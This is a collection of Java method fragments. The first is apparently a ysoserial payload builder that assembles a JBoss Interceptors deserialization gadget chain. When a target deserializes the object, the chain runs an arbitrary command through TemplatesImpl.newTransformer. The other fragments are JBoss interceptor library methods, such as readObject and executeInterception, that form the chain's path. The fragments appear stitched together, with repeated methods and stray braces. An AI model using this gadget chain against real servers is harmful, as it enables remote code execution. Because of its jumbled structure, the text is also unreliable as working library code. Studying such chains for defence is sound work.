public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set<InterceptionType> s = new HashSet<InterceptionType>(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); defaultMethodMetadataConstructor.setAccessible(true); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>(); hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); }
public <T> MethodHandler createMethodHandler(Object target, Class<T> proxyClass, InterceptorMetadata interceptorMetadata) { return new InterceptorMethodHandler(target, proxyClass, getModelsFor(proxyClass), interceptionHandlerFactories, interceptorMetadata); }
public <T> MethodHandler createMethodHandler(Object target, ClassMetadata<T> proxyClass) { return new InterceptorMethodHandler(target, proxyClass, interceptionModel, interceptorInstantiator, invocationContextFactory); }
private Object executeInterception(Method thisMethod, Object[] args, InterceptionType interceptionType) throws Throwable { List<InterceptionHandler> interceptionHandlers = new ArrayList<InterceptionHandler>(); for (InterceptionModel interceptionModel : interceptionModels) { List<?> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod); for (Object interceptorReference : interceptorList) { interceptionHandlers.add(interceptorHandlerInstances.get(interceptorReference)); } } if (targetClassInterceptorMetadata != null && targetClassInterceptorMetadata.getInterceptorMethods(interceptionType) != null && !targetClassInterceptorMetadata.getInterceptorMethods(interceptionType).isEmpty()) { interceptionHandlers.add(new DirectClassInterceptionHandler<Class<?>>(getTargetInstance(), targetClassInterceptorMetadata)); } InterceptionChain chain = new InterceptionChain(interceptionHandlers, interceptionType, getTargetInstance(), thisMethod, args); return chain.invokeNext(new InterceptorInvocationContext(chain, getTargetInstance(), thisMethod, args)); }
private Object executeInterception(Object self, Method proceedingMethod, Method thisMethod, Object[] args, InterceptionType interceptionType) throws Throwable { List<? extends InterceptorMetadata<?>> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod); Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>(); for (InterceptorMetadata interceptorReference : interceptorList) { interceptorInvocations.add(new InterceptorInvocation(interceptorHandlerInstances.get(interceptorReference), interceptorReference, interceptionType)); } if (targetClassInterceptorMetadata != null && targetClassInterceptorMetadata.getInterceptorMethods(interceptionType) != null && !targetClassInterceptorMetadata.getInterceptorMethods(interceptionType).isEmpty()) { interceptorInvocations.add(new InterceptorInvocation(isProxy() ? targetInstance : self, targetClassInterceptorMetadata, interceptionType)); } SimpleInterceptionChain chain = new SimpleInterceptionChain(interceptorInvocations, interceptionType, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod); return chain.invokeNextInterceptor(invocationContextFactory.newInvocationContext(chain, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod, args)); }
public static void executePostConstruct(Object proxy, Callable callback) { if (proxy instanceof LifecycleMixin) { LifecycleMixin lifecycleMixin = (LifecycleMixin) proxy; lifecycleMixin.lifecycle_mixin_$$_postConstruct(); } if (callback != null) { try { callback.call(); } catch (Exception e) { throw new InterceptorException(e); } } }
public static void executePredestroy(Object proxy, Callable callback) { if (proxy instanceof LifecycleMixin) { LifecycleMixin lifecycleMixin = (LifecycleMixin) proxy; lifecycleMixin.lifecycle_mixin_$$_preDestroy(); } if (callback != null) { try { callback.call(); } catch (Exception e) { throw new InterceptorException(e); } } }
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException { try { executeInterception(isProxy() ? targetInstance : null, null, null, null, InterceptionType.PRE_PASSIVATE); objectOutputStream.defaultWriteObject(); } catch (Throwable throwable) { throw new IOException("Error while serializing class", throwable); } }
public Object invoke(Object target, InterceptionType interceptionType, InvocationContext invocationContext) throws Exception { List<MethodReference> methods = interceptorMetadata.getInterceptorMethods(interceptionType); if (methods != null) { DelegatingInvocationContext delegatingInvocationContext = new DelegatingInvocationContext(invocationContext, getInterceptorInstance(), methods, interceptionType); return delegatingInvocationContext.proceed(); } else { throw new InterceptorException(target.toString() + " was requested to perform " + interceptionType.name() + " but no such method is defined on it"); } }
public InvocationContext newInvocationContext(InterceptionChain chain, Object o, Method method, Object timer) { return new InterceptorInvocationContext(chain, o, method, timer); } }
private void readObject(ObjectInputStream objectInputStream) throws IOException { try { objectInputStream.defaultReadObject(); executeInterception(null, null, InterceptionType.POST_ACTIVATE); } catch (Throwable throwable) { throw new IOException("Error while deserializing class", throwable); } }
public <T> T createProxyFromInstance(final Object target, Class<T> proxifiedClass, Class<?>[] constructorTypes, Object[] constructorArguments, InterceptorMetadata interceptorClassMetadata) { MethodHandler interceptorMethodHandler = createMethodHandler(target, proxifiedClass, interceptorClassMetadata); return createProxyInstance(InterceptionUtils.createProxyClassWithHandler(proxifiedClass, interceptorMethodHandler), interceptorMethodHandler); }
public <T> T createProxyFromInstance(final Object target, Class<T> proxyClass, InterceptorMetadata targetClassMetadata) throws IllegalAccessException, InstantiationException { return createProxyFromInstance(target, proxyClass, new Class[0], new Object[0], targetClassMetadata); }
public SimpleInterceptionChain(Collection<InterceptorInvocation<?>> interceptorInvocations, InterceptionType interceptionType, Object target, Method targetMethod) { this.interceptionType = interceptionType; this.target = target; this.targetMethod = targetMethod; this.currentPosition = 0; interceptorMethodInvocations = new ArrayList<InterceptorInvocation.InterceptorMethodInvocation>(); for (InterceptorInvocation<?> interceptorInvocation : interceptorInvocations) { interceptorMethodInvocations.addAll(interceptorInvocation.getInterceptorMethodInvocations()); } }
public Object proceed() throws Exception { try { return interceptionChain.invokeNext(this); } catch (Exception e) { throw e; } catch (Throwable t) { throw new InterceptorException(t); } }
public Object proceed() throws Exception { try { return interceptionChain.invokeNextInterceptor(this); } catch (Exception e) { throw e; } catch (Throwable t) { throw new InterceptorException(t); } }
public InterceptionHandler createFor(Class<?> clazz) { return new DirectClassInterceptionHandler(clazz, interceptorMetadataRegistry.getInterceptorClassMetadata(ReflectiveClassReference.of(clazz))); } }
public <T> MethodHandler createSubclassingMethodHandler(Object targetInstance, ClassMetadata<T> proxyClass) { return new InterceptorMethodHandler(targetInstance, proxyClass, interceptionModel, interceptorInstantiator, invocationContextFactory); }
public InvocationContext newInvocationContext(InterceptionChain chain, Object o, Method method, Object[] args) { return new InterceptorInvocationContext(chain, o, method, args); }
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException { try { executeInterception(null, null, InterceptionType.PRE_PASSIVATE); objectOutputStream.defaultWriteObject(); } catch (Throwable throwable) { throw new IOException("Error while serializing class", throwable); } }